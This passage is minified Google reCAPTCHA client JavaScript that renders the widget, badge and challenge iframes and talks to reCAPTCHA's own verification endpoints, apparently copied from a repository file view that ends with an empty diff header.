this.$.appendChild(F),F=zg("DIV"),C(F,c5),z1(F,"g-recaptcha-bubble-arrow"),this.$.appendChild(F),F=zg("DIV"),C(F,W5),this.$.appendChild(F)),document.body).appendChild(this.$)},function(F){v9(F.aK),F.L=null}),m5=function(F){return"bubble"==F.yW||"fullscreen"==F.yW?B9(F.$):null},Je=function(F,N,x){w(WL("g-recaptcha-bubble-arrow",F.$),function(S,U,Z){C(S,(Z=(C(S,"top",pR(this).l-N+"px"),0)==U?"#ccc":"#fff",x?{left:"100%",right:"","border-left-color":Z,"border-right-color":"transparent"}:{left:"",right:"100%",
"border-right-color":Z,"border-left-color":"transparent"}))},F)},he=function(F,N,x){(($M(F,N,x),N)?(KR(F),F.I.focus()):F.L.focus(),F).o=f0()},YM=(ZS.prototype.D=function(){O4((XJ(this),this)),xH.prototype.D.call(this)},function(F){return"inline"==F.yW?F.$:Y9(F.$)}),wu=function(F,N,x,S){this.nt=((this.j3=void 0===x?null:x,this).$=(this.L=F,void 0)===N?null:N,void 0===S)?!1:S},Ae=function(F,N,x){for(N=["allow-modals",(F=zg("IFRAME",(((Mj(F,{frameborder:"0",scrolling:"no",sandbox:"allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation"}),
N=F.src,N)instanceof I9||(N="object"==typeof N&&N.fV?N.VW():String(N),Eb.test(N)||(N="about:invalid#zClosurez"),N=new I9(uk,N)),F).src=Ww(N),F)),x=0,"allow-popups-to-escape-sandbox"),"allow-storage-access-by-user-activation"];x<N.length;x++)F.sandbox&&F.sandbox.supports&&F.sandbox.add&&F.sandbox.supports(N[x])&&F.sandbox.add(N[x]);return F},pR=function(F,N,x,S,U){return(U=(S=CL((x=N?F.oK.left-10:F.oK.left+F.oK.width+10,F).yk()),F.oK).top+.5*F.oK.height,x instanceof H9)?(S.x+=x.x,S.l+=x.l):(S.x+=Number(x),
"number"===typeof U&&(S.l+=U)),S},KR=function(F,N,x,S,U,Z,a){"visible"==fL(F.$,"visibility")&&(N=iJ(YM(F)),S=window,U=S.document,x=0,U&&(x=U.body,(Z=U.documentElement)&&x?(S=g7(S).height,X5(U)&&Z.scrollHeight?x=Z.scrollHeight!=S?Z.scrollHeight:Z.offsetHeight:(a=Z.offsetHeight,U=Z.scrollHeight,Z.clientHeight!=a&&(a=x.offsetHeight,U=x.scrollHeight),x=U>S?U>a?U:a:U<a?U:a)):x=0),Z=Math.max(x,qZ().height),x=pR(F),U=P9(x.l-.5*N.height,fF(document).l+10,fF(document).l+qZ().height-N.height-10),Z=P9(P9(U,
x.l-.9*N.height,x.l-.1*N.height),10,Math.max(10,Z-N.height-10)),"bubble"==F.yW?(x=x.x>.5*qZ().width,C(F.$,{left:pR(F,x).x+(x?-N.width:0)+"px",top:Z+"px"}),Je(F,Z,x)):C(F.$,{left:fF(document).x+"px",top:Z+"px",width:qZ().width+"px"}))},s4=function(F,N,x){(YM((F.I=(N.style=(F.oK=((x=void 0===x?new nL(0,0,0,0):x,F.$)||F.H(),x||new nL(0,0,0,0)),"width: 100%; height: 100%;"),N.name="c-"+F.C,Ae)(N),F)).appendChild(F.I),"bubble")==F.yW&&F.R(qu(),["scroll","resize"],h(function(){this.N()},F))},XJ=function(F){(F.I&&
(yy(F.I),F.I=null),F.$)&&(F.yW=null,iF(F.G),F.G=null,ZX(F),yy(F.$),F.$=null)},ll=function(F,N,x,S,U){(F.L=Ae({src:x,tabindex:S,width:String(U.width),height:String(U.height),role:"presentation",name:"a-"+F.C}),N).appendChild(F.L)},te=new wu("sitekey",null,(wu.prototype.jf=P("L"),"k"),!0),gu;
if(p.window){var nR=new Is(window.location.href),B5=(nR.o="",null!=nR.H||("https"==nR.$?fo(nR,443):"http"==nR.$&&fo(nR,80)),nR).toString().match(qx),ru=B5[2],v5="",Gr=B5[4],MZ=B5[1],bl=B5[3];gu=lg((MZ&&(v5+=MZ+":"),bl&&(v5+="//",ru&&(v5+=ru+"@"),v5+=bl,Gr&&(v5+=":"+Gr)),Jd(v5)),3)}else gu=null;
var DS=new wu("size",function(F){return F.has(du)?"invisible":"normal"},"size"),CR=new wu("badge",null,"badge"),il=new wu("action",null,"sa"),y$=new wu("username",null,"u"),jt=new wu("callback"),Q$=new wu("expired-callback"),Rp=new wu("error-callback"),kM=new wu("tabindex","0"),du=new wu("bind"),ul=new wu("isolated",null),zr=new wu("container"),et={be:te,y_:new wu("origin",gu,"co"),ie:new wu("hl","en-GB","hl"),Gl:new wu("type",null,"type"),VERSION:new wu("version","5fbZx3NV5xhaMoMLrZV3TkN4","v"),
c_:new wu("theme",null,"theme"),$Y:DS,M8:CR,aC:new wu("s",null,"s"),ue:new wu("pool",null,"pool"),Ip:new wu("content-binding",null,"tpb"),V_:il,Rp:y$,kU:new wu("account-token",null,"avrt"),Ej:jt,vb:Q$,le:Rp,QT:kM,oC:du,Jj:new wu("preload",function(F){return Ip(F)}),SI:ul,z7:zr},Fm=function(F,N){if(F=XZ((N=DS.jf(),F)),op.hasOwnProperty(F[N])||(F[N]=null),this.$=F,F=fR(this),0<F.length)throw Error("Missing required parameters: "+F.join());},fR=function(F,N){return w((N=[],nH(et)),function(x){et[x].nt&&
!this.has(et[x])&&N.push(et[x].jf())},F),N},NC=(Fm.prototype.has=function(F){return!!this.get(F)},Fm.prototype.get=function(F,N){return(N=this.$[F.jf()])||(N=F.$?y4(F.$)?F.$(this):F.$:null),N},function(F,N){return R((N=F.name,'<textarea id="')+k(F.id)+'" name="'+k(N)+'" class="g-recaptcha-response"></textarea>')}),xv=function(F){return(F=F.get(kM),parseInt)(F,10)},SM=function(F){return R("<div><div></div>"+Qj(NC({id:F.YK,name:F.sJ}))+"</div>")},Ip=function(F){return"invisible"==F.get(DS)},om=function(F,
N,x,S){return(F=(S=(N=(x=F.sJ,F).YK,R),F=F.gM,yj)(F,Jn)?F.dS():F instanceof ko?Sa(F).toString():"about:invalid#zSoyz",S)('<iframe src="'+k(F)+'" frameborder="0" scrolling="no"></iframe><div>'+Qj(NC({id:N,name:x}))+"</div>")},UT=function(F,N,x){return N=(x={},void 0===N)?{}:N,w(nH(et),function(S,U){(S=et[S],S.j3&&(U=N[S.jf()]||this.get(S)))&&(x[S.j3]=U)},F),x},ZT=function(F,N,x){if(F=F.get((x=void 0===x?!1:x,N))){if(y4(F))return F;if(y4(window[F]))return window[F];x&&console.log("ReCAPTCHA couldn't find user-provided function: "+
F)}return J},am=function(F,N,x){return(x=F.get(N))?x.toString():null},c7=new b(302,422),L1=function(F,N){ZS.call(this,F,N)},H7=(((q(L1,ZS),L1.prototype.render=function(F,N,x,S){ll(this,(((S=(N=tn(SM,{YK:N,sJ:"g-recaptcha-response"}),C(lt("TEXTAREA",N)[0],E4),op[S]),uJ)(N,S),this).aK.appendChild(N),B9(N)),F,x,S)},L1).prototype.M7=function(F,N,x){C(lt("TEXTAREA",(C((C(lt((C(lt((x=tn((O4(this),this.yW="fallback",om),{gM:$7(F),YK:N,sJ:"g-recaptcha-response"}),"IFRAME"),x)[0],{width:c7.width+"px",height:c7.height+
"px"}),"DIV"),x)[0],LR),lt("TEXTAREA",x))[0],E4),x))[0],"display","block"),this.aK.appendChild(x)},L1.prototype.H=function(F,N){N=Math.max(qZ().width-pR(this).x,pR(this).x),F?ZS.prototype.H.call(this,F):N>1.5*op.normal.width?ZS.prototype.H.call(this,"bubble"):ZS.prototype.H.call(this)},L1).prototype.yk=P("L"),function(F,N){return R((N=(N="",F.ac?N+"<div>Could not connect to the reCAPTCHA service. Please check your internet connection and reload to get a reCAPTCHA challenge.</div>":N+'<noscript>Please enable JavaScript to get a reCAPTCHA challenge.<br></noscript><div class="if-js-enabled">Please upgrade to a <a href="https://support.google.com/recaptcha/?hl=en#6223828">supported browser</a> to get a reCAPTCHA challenge.</div><br><br><a href="https://support.google.com/recaptcha#6262736" target="_blank">Why is this happening to me?</a>'),
N))}),W7={},P7=function(F,N,x){return R('<div class="grecaptcha-badge" data-style="'+(x=(N=F.YK,F.sJ),k)(F.style)+'"><div class="grecaptcha-logo"></div><div class="grecaptcha-error"></div>'+Qj(NC({id:N,name:x}))+"</div>")},Tq=(W7.bottomright={display:"block",transition:"right 0.3s ease",position:"fixed",bottom:"14px",right:"-186px","box-shadow":"0px 0px 5px gray","border-radius":"2px",overflow:"hidden"},W7.bottomleft={display:"block",transition:"left 0.3s ease",position:"fixed",bottom:"14px",left:"-186px",
"box-shadow":"0px 0px 5px gray","border-radius":"2px",overflow:"hidden"},W7.inline={"box-shadow":"0px 0px 5px gray"},W7.none={position:"fixed",visibility:"hidden"},W7),ET=function(F,N,x){this.Da=((ZS.call(this,F,N),this).$z=x,null)},Vu=["bottomleft","bottomright"],$v=((((q(ET,ZS),ET).prototype.render=function(F,N,x,S,U){("none"==R_((ll(this,((uJ((N=((C(lt("TEXTAREA",(this.Da=tn(P7,(LH(Vu,(U=Tq.hasOwnProperty(this.$z)?this.$z:"bottomright",U))&&Yv()&&(U="none"),{YK:N,sJ:"g-recaptcha-response",style:U})),
this.Da))[0],E4),$v)(this,U),op[S]),this).Da,N),this.aK).appendChild(this.Da),B9(this.Da)),F,x,N),this.Da),"display")&&(C(this.Da,Tq.none),U="bottomright"),C)(this.Da,Tq[U])},ET).prototype.M7=function(F,N,x){(F=tn(H7,(this.yW=(O4(this),"fallback"),{ac:x})),this.aK).appendChild(F)},ET).prototype.yk=P("aK"),function(F,N,x){if((x=null,"bottomright")==N)x="right";else if("bottomleft"==N)x="left";else return;F.R(F.Da,"mouseenter",function(){C(this.Da,x,"4px")},F),F.R(F.Da,"mouseleave",function(){C(this.Da,
x,"-186px")},F)});function Yv(){return 0<PL(function(F){return LH(Vu,F.getAttribute("data-style"))})}
var qC=function(F){return F.f4.has(kM)?Math.max(0,xv(F.f4)):0},p1=function(F,N,x){if((this.EJ=(this.id=(x=(this.f4=new Fm(N),window.___grecaptcha_cfg),this.f4.get(ul)?1E5+x.Q8++:x.count++),this.z9=F),this).f4.has(du)){if(x=OT(this.f4.get(du)),!x)throw Error("The bind parameter must be an element or id");this.EJ=x}md(this,(this.H=(this.L=((this.$=null,this).I=0,null),ja()),1))},wB=function(F,N,x,S,U){return(U=(S=(O4((x=void 0===x?2:x,F.$)),Js(F,N)),F.$.render(S,K1(F.id),String(qC(F)),am(F.f4,DS)),
F.$.L),UZ)(U,S,new Map([["j",F.qM],["e",F.QU],["d",F.c6],["i",F.e3],["m",F.YB],["o",F.P6],["a",function(Z){return hs(F,Z)}],["f",F.Ja]]),F,2E4)["catch"](function(Z,a){if(F.z9.contains(U)){if((a=x-1,0)<a)return wB(F,N,a);F.$.M7(As(F),K1(F.id),!0)}throw Z;})},sT=function(F,N){(s4(((N.$.tabindex=String(qC(F)),N).$.src=$u("api2/bframe",new UD(N.$.query)),F.$),N.$,N.L),m5)(F.$)&&Gk(m5(F.$),"click",function(){this.QU(new C_(!1))},!1,F)},Js=function(F,N,x){return $u(((x=new UD,x.add("ar",N.toString()),x).G(UT(F.f4)),
"api2/anchor"),x)},ts=function(F,N){if(N=(F=void 0===F?Xm():F,window.___grecaptcha_cfg.clients[F]),!N)throw Error("Invalid reCAPTCHA client id: "+F);return lC(N.id).value},gB=function(){return!!window.___grecaptcha_cfg.fallback},MC=(T=p1.prototype,function(F,N,x){for(x=(N=Y(((0==(F=((p.window.___grecaptcha_cfg||kX("___grecaptcha_cfg",{}),p).window.___grecaptcha_cfg.clients||(p.window.___grecaptcha_cfg.count=0,p.window.___grecaptcha_cfg.Q8=0,p.window.___grecaptcha_cfg.clients={},p.window.___grecaptcha_cfg.Ub=
{}),window.___grecaptcha_cfg.enterprise||[]).map(function(S){return S?"grecaptcha.enterprise":"grecaptcha"}),F).length&&F.push("grecaptcha"),window).___grecaptcha_cfg.enterprise=[],F)),N).next();!x.done;x=N.next())x=x.value,kX(x+".render",n1),kX(x+".reset",B7),kX(x+".getResponse",ts),kX(x+".execute",rB);v7(function(){return Gq(F)})}),As=(T.YB=function(){this.T9(2)},T.e3=function(){(lC(this.id).value="",this.f4.has(Q$)&&ZT(this.f4,Q$,!0)(),this.T9(),this.L).then(function(F){return F.send("i")},J)},
function(F,N){return Ty(((((((N=new UD,N).add("k",am(F.f4,te)),N).add("hl","en-GB"),N).add("v","5fbZx3NV5xhaMoMLrZV3TkN4"),N).add("t",f0()-F.I),gB())&&N.add("ff",!0),"api/fallback"))+"?"+N.toString()}),hs=function(F,N,x,S,U,Z,a,c,H,W,E,V){return n0(function(m){if(1==m.$){for(E=((c=(a=(U=(Ke((S=(x=new z,new f7),S),x9(z6,N.L)),[I.wv,I.d5,I.yL,function(t){for(var l=[],B=0;B<arguments.length;++B)l[B-0]=arguments[B];return I.hI.apply(I,[].concat(U8(l),[ZT(F.f4,jt)]))},I.$K,I.N7,I.iE,I.iD,I.KL,I.Yz,function(t){for(var l=
0,B=[];l<arguments.length;++l)B[l-0]=arguments[l];return I.NM.apply(I,[].concat(U8(B),[F.z9]))},I.mO,I.sb,I.HE,I.pL,I.FV,function(t){for(var l=0,B=[];l<arguments.length;++l)B[l-0]=arguments[l];return I.r5.apply(I,[].concat(U8(B),[S]))},I.ZD,I.sw,I.AI,I.qQ,I.w5,I.YI,function(t){return I.S4(t,Qc(100))}]),Z=Qc(2E3),Promise).resolve(ja()),0),I).KZ(),H={},W=Y(U),W.next());!E.done;H={gv:H.gv},E=W.next())H.gv=E.value,a=a.then(function(t){return function(l){return t.gv.call(F,l,Z,c)}}(H)).then(function(t){return(t.qY(x),
t).Xv()}),c+=1;return O(m,a,2)}return aG(x,I.mS(lt("HEAD")[0],lt("BODY")[0],N.$)||[]),V=qZ(),m["return"](new bh(V,R2(x)))})},B7=function(F,N,x){if(x=(F=void 0===F?Xm():F,window.___grecaptcha_cfg).clients[F],!x)throw Error("Invalid reCAPTCHA client id: "+F);(N&&(x.f4=new Fm(N)),x).T9()},OT=function(F,N){return(N=null,"string"===typeof F)?N=tH(document,F):Q4(F)&&1==F.nodeType&&(N=F),N},bC=function(){return"complete"==document.readyState||"interactive"==document.readyState&&!X},rB=function(F,N,x,S,U,
Z){if(Q4((S=void 0===(x=(S=(x=(N=void 0===(F=void 0===F?Xm():F,N)?{}:N,F),N),void 0)===x?Xm():x,S)?{}:S,x)))S=x,U=Xm();else if("string"===typeof x&&/[^0-9]/.test(x)){if(U=window.___grecaptcha_cfg.Ub[x],null==U)throw Error("Invalid site key or not loaded in api.js: "+x);}else U=x;if(!(x=window.___grecaptcha_cfg.clients[U],x))throw Error("Invalid reCAPTCHA client id: "+U);if(!Ip(x.f4))throw Error("grecaptcha.execute only works with invisible reCAPTCHA.");for(Z=(U=Y(Object.keys(S)),U).next();!Z.done;Z=
U.next())if(![il.jf(),y$.jf(),zr.jf()].includes(Z.value))throw Error("Invalid parameters to grecaptcha.execute.");return dB(DT(x,S))},v7=function(F,N,x){bC()?F():(N=!1,x=function(){N||(N=!0,F())},window.addEventListener?(window.addEventListener("load",x,!1),window.addEventListener("DOMContentLoaded",x,!1)):window.attachEvent&&(window.attachEvent("onreadystatechange",function(){bC()&&x()}),window.attachEvent("onload",x)))},DT=function(F,N,x){return x=F.L.then(h(function(S,U){return I.m1(ja(),Qc(),
void 0,S).then(function(Z){return U.send("n",new da(UT(F.f4,N),qZ(),R2(Z.$())))})},F,qu().Error())).then(function(S){return S?(F.c6(S),S.response):null}),x["catch"](function(S){("string"!==typeof S&&(S=void 0),F.f4.has(Rp))?ZT(F.f4,Rp,!0)(S):S&&console.error(S)}),x},lC=function(F,N){if(!(N=tH(document,K1(F)),N))throw Error("reCAPTCHA client element has been removed: "+F);return N},iC=(T.Ja=function(F){sT((XJ(this.$),this),F)},function(){Array.from(WL("g-recaptcha")).filter(function(F){return!C1(F)}).forEach(function(F){return n1(F,
{},!0)})}),n1=function(F,N,x,S,U,Z,a,c,H,W,E,V,m,t,l){if(F=OT(((N=(x=void 0===x?!0:x,void 0===N)?{}:N,Q4(F)&&1==F.nodeType)||!Q4(F)||(N=F,F=Qy(document,"DIV"),document.body.appendChild(F),N[DS.jf()]="invisible"),F)),!F)throw Error("reCAPTCHA placeholder element must be an element or id");if(C1((x?(x=F,S=x.getAttribute("data-sitekey"),U=x.getAttribute("data-type"),Z=x.getAttribute("data-theme"),a=x.getAttribute("data-size"),c=x.getAttribute("data-tabindex"),H=x.getAttribute("data-bind"),W=x.getAttribute("data-preload"),
E=x.getAttribute("data-badge"),V=x.getAttribute("data-s"),m=x.getAttribute("data-pool"),t=x.getAttribute("data-content-binding"),l=x.getAttribute("data-action"),S={sitekey:S,type:U,theme:Z,size:a,tabindex:c,bind:H,preload:W,badge:E,s:V,pool:m,"content-binding":t,action:l},(U=x.getAttribute("data-callback"))&&(S.callback=U),(U=x.getAttribute("data-expired-callback"))&&(S["expired-callback"]=U),(x=x.getAttribute("data-error-callback"))&&(S["error-callback"]=x),x=S,N&&Mj(x,N)):x=N,F)))throw Error("reCAPTCHA has already been rendered in this element");
if("BUTTON"==F.tagName||"INPUT"==F.tagName&&("submit"==F.type||"button"==F.type))x[du.jf()]=F,N=Qy(document,"DIV"),F.parentNode.insertBefore(N,F),F=N;if(0!=nF(F).length)throw Error("reCAPTCHA placeholder element must be empty");if(!x||!Q4(x))throw Error("Widget parameters should be an object");return(N=new p1(F,x),window.___grecaptcha_cfg).clients[N.id]=N,N.id},md=(T.P6=function(F,N,x){return n0(function(S){if(1==S.$)return sr(F.$),O(S,I.d5(ja(),Qc()),2);if(3!=S.$)return N=S.L,O(S,I.yL(),3);return S["return"](new RW(R2((x=
S.L,N.$())),R2(x.$())))})},function(F,N,x){(F.I=f0(),F.$=Ip(F.f4)?new ET(F.z9,F.H,am(F.f4,CR)):new L1(F.z9,F.H),F.$).oK=y7(F.EJ),gB()?F.$.M7(As(F),K1(F.id),!1):(F.L=wB(F,N),Ip(F.f4)&&F.EJ!=F.z9&&(x=function(){return iz(F.EJ,!1)},Gk(F.EJ,["click","submit"],function(S){DT((iz((S.preventDefault(),this).EJ,!0),this)).then(x,x)},!1,F),x()))}),C1=((p1.prototype.T9=function(F){(this.$=(Hl((this.L=(this.L.then(function(N){return Hl(N)},(F=void 0===F?1:F,J)),null),this.$)),null),md)(this,F)},T).qM=function(F){(F=
F&&2==F.errorCode,this.f4.has(Rp)?ZT(this.f4,Rp,!0)():!F||document.visibilityState&&"visible"!=document.visibilityState||alert("Cannot contact reCAPTCHA. Check your connection and try again."),F)&&he(this.$,!1)},(T.QU=function(F){(he(this.$,F.$,F.L),this.L).then(function(N){return N.send("h",new C_(F.$))})},T).c6=function(F){(lC(this.id).value=F.response)&&this.f4.has(jt)&&ZT(this.f4,jt,!0)(F.response)},function(F){return Object.values(window.___grecaptcha_cfg.clients).some(function(N){return N.EJ==
F})}),Xm=function(F){for(F=0;F<window.___grecaptcha_cfg.count;F++)if(document.body.contains(window.___grecaptcha_cfg.clients[F].z9))return F;throw Error("No reCAPTCHA clients exist.");},Gq=function(F,N,x){for(N=(F=Y(F),F.next());!N.done;N=F.next())kX(N.value+".ready",function(S){D(S,0)});for(window.___grecaptcha_cfg.render=(F=window.___grecaptcha_cfg.render,[]),dA(F)||(F=[F]),F=Y(F),N=F.next();!N.done;N=F.next())N=N.value,"onload"==N?iC():"explicit"!=N&&(x=n1({sitekey:N,isolated:!0}),p.window.___grecaptcha_cfg.Ub[N]=
x);for(N=(F=Y(((N=(dA((F=window.___grecaptcha_cfg.onload,window.___grecaptcha_cfg.onload=[],F))||(F=[F]),window.___grecaptcha_cfg.fns),window.___grecaptcha_cfg.fns=[],N&&dA(N))&&(F=F.concat(N)),F)),F.next());!N.done;N=F.next())if(N=N.value,y4(window[N]))window[N]();else y4(N)?N():N&&console.log("reCAPTCHA couldn't find user-provided function: "+N)};function K1(F){return"g-recaptcha-response"+(F?"-"+F:"")}function dB(F){return{then:function(N,x){return dB(F.then(N,x))}}}
if((p.window&&p.window.__google_recaptcha_client&&MC(),p).window&&p.window.test_signature){var yu=p.window.document.getElementById("recaptcha-widget-signature");if(yu){var jM=p.window.document,Qu=jM.createElement("div"),Rm=(Qu.setAttribute("id","result-holder"),jM.createTextNode(iD()));yu.appendChild(Qu),Qu.appendChild(Rm)}}
var kv=function(){this.$=null},uC=(((T=kv.prototype,T.XD=function(F,N,x,S){this.$=og((S=qu().name.replace("c-","a-"),qu().parent.frames[S]),Ty("api2/anchor"),new Map([[["e","n"],F],["g",N],["i",x]]),this)},T.pV=function(F){this.$.send("j",new jr(F))},T.aM=function(F){this.$.send("g",new C_(!0,F,!0))},T.U3=function(F,N){this.$.send("d",new DQ(F,N))},T.CZ=function(){this.$.send("i")},T).zG=function(F,N){return this.$.send("g",new C_(F,N))},T.Hl=L(),T).rv=xX("anchor"),function(F,N,x,S){this.o=(this.C=
(this.I=(this.$=(this.G=(yn.call(this,F,x),null),S),"uninitialized"),this.U=0),M)(N,vN,5)}),zq=(q(uC,yn),uC.prototype.lO=P("G"),function(F){G(this,F,"avrresp",null)}),Im=(K(zq,g),function(F){Tf((WN.call(this,"/recaptcha/api3/accountchallenge",PN(zq),"POST"),this),F)}),eM=(q(((zq.prototype.Tx=function(){return M(this,BN,3)},zq.prototype).ow=function(){return n(this,2)},Im),WN),function(F){G(this,F,"avvresp",null)}),f1=(K(eM,g),function(F){Tf(this,(WN.call(this,"/recaptcha/api3/accountverify",PN(eM),
"POST"),F))}),NU=(eM.prototype.ow=function(){return n(this,2)},q(f1,WN),function(F){G(this,F,"dresp",Fy)}),Fy=[2,(K(NU,g),4)],x3=function(F,N){((WN.call(this,"/recaptcha/api2/replaceimage",PN(NU),"POST"),HN)(this,"c",F),HN)(this,"ds",eu(N))},S8=((NU.prototype.ow=(NU.prototype.lO=function(){return n(this,1)},function(){return n(this,3)}),K)(x3,WN),function(F,N,x,S,U,Z,a){V0(this,"mp",(V0(this,(V0(this,"bg",(V0(this,(V0((WN.call(this,"/recaptcha/api2/userverify",PN(CV),"POST"),HN(this,"c",F),HN(this,
"response",N),this),"t",x),"ct"),S),U)),"dg"),Z),a))}),UB=(K(S8,WN),function(F,N){((Wl((this.$=((xH.call(this),this).L=F,Wl(this,this.L),N),this),this.$),this).G=this.I=null,oa)(this)}),aa=(q(UB,xH),function(F,N){(N&&ZC(F,N),F.$).$.XD(h(F.o,F),h(F.C,F),h(F.X,F))}),LI=function(F,N){F.$.$.zG(N,cS(F.L)).then(function(){F.L.$&&(F.L.$.I=F.I)})},PS=((((T=(UB.prototype.H=(UB.prototype.C=function(F){F&&(this.L.$.gV(F.$),document.body.style.height="100%")},function(){(this.$.I="uninitialized",this.$.$).pV(2)}),
UB.prototype),T).b3=function(F,N){null!=F.ow()?(HS(this),this.$.$.pV(F.ow())):(N=n(F,1),ZC(this,N),Up(F,2)?(F=F.Gx(),this.$.$.U3(N,F),LI(this,!1)):WS(this,M(F,vN,7),"nocaptcha"!=this.L.$.jf()))},UB.prototype.X=function(F){this.$.lO()==F.response&&HS(this)},T).rI=function(){LI(this,!1)},T).Hr=function(F,N,x,S,U,Z,a){F=new S8((a=(Z=(Z=(U=u7((S=this.$.lO(),this).L.$),this.$),f0)()-Z.U,this.$),a=f0()-a.C,S),U,Z,a,F,N,x),this.$.L.send(F).then(this.b3,this.H,this)},function(F,N,x){F.$.L.send(N).then(x,
F.H,F)}),oa=function(F){((((((F.R(F.L,"c",function(){return LI(F,!0)}),F).R(F.L,"d",function(){F.$.$.aM(cS(F.L))}),F.R(F.L,"e",function(){return LI(F,!1)}),F).R(F.L,"g",function(){return TK(F,"r")}),F).R(F.L,"i",function(){return TK(F,"i")}),F).R(F.L,"h",function(){return TK(F,"a")}),F).R(F.L,"f",function(){return PS(F,new x3(F.$.lO(),Ml(F.L.$)),function(N,x,S,U,Z,a){if(null!=N.ow())F.H();else{for(Z=(x=(I2(F5(N,(n((x=(Z=n(N,(n(N,((U=(S=((S=N.lO())&&ZC(F,S),F).L.$,[]),S).i9=!1,1)),5)),null==(Z=n(N,
2)))?void 0:Z,N),3),BN),4),ra,void 0),Y(x)),x).next();!Z.done;Z=x.next())Z=Z.value,a=n(N,5),U.push(S.Qz(a,Z));bx((S.GG(U,F5(N,BN,4)),S))}})}),F.R(F.L,"k",F.jn),F).R(F.L,"l",F.Ic)},ZC=function(F,N){F.$.G=(F.L.L.value=N,N)},HS=function(F){F.$.I="timed-out"},WS=(T.Ic=function(F){(F=new f1((F={},F.avrt=this.$.lO(),F.response=u7(this.L.$),F)),this.$).L.send(F).then(this.rI,this.H,this)},(UB.prototype.o=function(F){(F=F||new da,F.IR)&&(this.I=F.IR);switch(this.$.I){case "uninitialized":TK(this,"fi",F.$);
break;case "timed-out":TK(this,"t");break;default:LI(this,!0)}},T).xB=function(){"active"==this.$.I&&(HS(this),this.$.$.CZ(),this.L.$.gV(!1))},function(F,N,x,S){null!=N.ow()?F.$.$.pV(N.ow()):(ZC(F,N.lO()),F.$.I="active",n(N,8)&&(S=n(N,8),Dm(dE("cbr"),S,1)),EB(F.L,n(N,5)),F.L.$.I=F.I,S=n(N,9),ks(F.L.$,S,N.Tx(),!!x),x=M(N,M8,7),F.$.H.set(x),F.$.H.load(),F.G=D(F.xB,1E3*N.Gx(),F))}),TK=(T.jn=function(F){"embeddable"==(F=(iF(this.G),h)(this.Hr,this),this.$).$.rv()?this.$.$.Hl(h(eE(F,null),this),this.$.lO(),
!0):this.$.H.execute().then(F,function(){return F()})},function(F,N,x,S,U){if("fi"==N||"t"==N)F.$.U=f0();(iF((F.$.C=f0(),F.G)),"uninitialized"==F.$.I&&null!=F.$.o)?WS(F,F.$.o):(S=h(function(Z){this.$.L.send(Z).then(function(a){WS(this,a,!1)},this.H,this)},F),U=h(function(Z){this.$.L.send(Z).then(function(a){null!=a.ow()?this.$.$.pV(a.ow()):(EB(this.L,"2fa"),this.L.$.I=this.I,ks(this.L.$,n(a,1),a.Tx(),!1),a=n(a,1),this.$.G=a)},this.H,this)},F),x?x.avrt?U(new Im(x)):S(new Gf(N,null,null,x)):"embeddable"==
F.$.$.rv()?F.$.$.Hl(h(function(Z,a){S(new Gf(N,this.$.lO(),null,{mp:a},Z))},F),F.$.lO(),!1):(x=h(function(Z){S(new Gf(N,this.$.lO(),Z))},F),F.$.H.execute().then(x,x)))}),VX=(kX("recaptcha.frame.embeddable.ErrorRender.errorRender",function(F,N){if(window.RecaptchaEmbedder)RecaptchaEmbedder.onError(F,N)}),function(){(kX("RecaptchaMFrame.shown",(kX("RecaptchaMFrame.show",(this.$=this.I=this.L=null,h(this.Ct,this))),h(this.Q_,this))),kX)("RecaptchaMFrame.token",h(this.Aa,this))}),Y3=(((((((T=VX.prototype,
T).Ct=function(F,N){this.L(new da({},new b(F-20,N)))},T.zG=function(F,N){if(window.RecaptchaEmbedder&&RecaptchaEmbedder.onShow)RecaptchaEmbedder.onShow(F,N.width,N.height);return Promise.resolve(new C_(F,N))},T.XD=function(F,N){((this.I=N,this).L=F,window.RecaptchaEmbedder)&&RecaptchaEmbedder.challengeReady&&RecaptchaEmbedder.challengeReady()},T).CZ=function(){if(window.RecaptchaEmbedder&&RecaptchaEmbedder.onChallengeExpired)RecaptchaEmbedder.onChallengeExpired()},T.Q_=function(F,N,x){this.I(new C_(void 0!==
x?x:!0,new b(F,N)))},T.Aa=function(F,N){this.$(F,N)},T.aM=function(F){if(window.RecaptchaEmbedder&&RecaptchaEmbedder.onResize)RecaptchaEmbedder.onResize(F.width,F.height);Promise.resolve(new C_(!0,F))},T).U3=function(F){window.RecaptchaEmbedder&&RecaptchaEmbedder.verifyCallback&&RecaptchaEmbedder.verifyCallback(F)},T).pV=function(F){if(window.RecaptchaEmbedder&&RecaptchaEmbedder.onError)RecaptchaEmbedder.onError(F,!0)},T).Hl=function(F,N,x){this.$=F,window.RecaptchaEmbedder&&RecaptchaEmbedder.requestToken&&
RecaptchaEmbedder.requestToken(N,x)},T).rv=xX("embeddable"),function(F){this.L=(dZ.call(this,F),this.$=null,tH)(document,"recaptcha-token")}),cS=(q(Y3,dZ),Y3.prototype.lO=function(){return this.L.value},function(F){return F.$?Tg(F.$.C):new b(0,0)}),EB=function(F,N){mL((SS((Rf((F.$&&(F.removeChild(F.$,!0),Hl(F.$)),F.$=St(N),F),F.$),F.$.render(F.M()),F).M(),0),F.M())).then(h(function(){(SS(this.M(),""),this).dispatchEvent("c")},F))},$3=function(F){G(this,F,"finput",null)},qU=(K($3,g),function(F,N,x,
S){aa(((N=(S=new ((x=new (N=f7.iO(),Ke(N,M(F,z6,2)),Y3),x).render(document.body),C7),new uC(S,F,new b1(Jj(N,"JS_BR")),new VX)),this).$=new UB(x,N),this.$),n(F,1))}),OB=(kX("recaptcha.frame.embeddable.Main.init",function(F){new qU((F=new $3(JSON.parse(F)),F))}),function(F,N,x,S){(F=(S=((x=((Ke((N=f7.iO(),N),M(F,z6,2)),Rt)(),new Y3),x).render(document.body),new C7),new uC(S,F,new b1(Jj(N,"JS_BR")),new kv)),this).$=new UB(x,F)});
kX("recaptcha.frame.Main.init",function(F){aa((new OB((F=new $3(JSON.parse(F)),F))).$,n(F,1))});/*
Portions of this code are from MochiKit, received by
The Closure Authors under the MIT license. All other code is Copyright
2005-2009 The Closure Authors. All Rights Reserved.
*/
}).call(this);

View File

@ -0,0 +1 @@
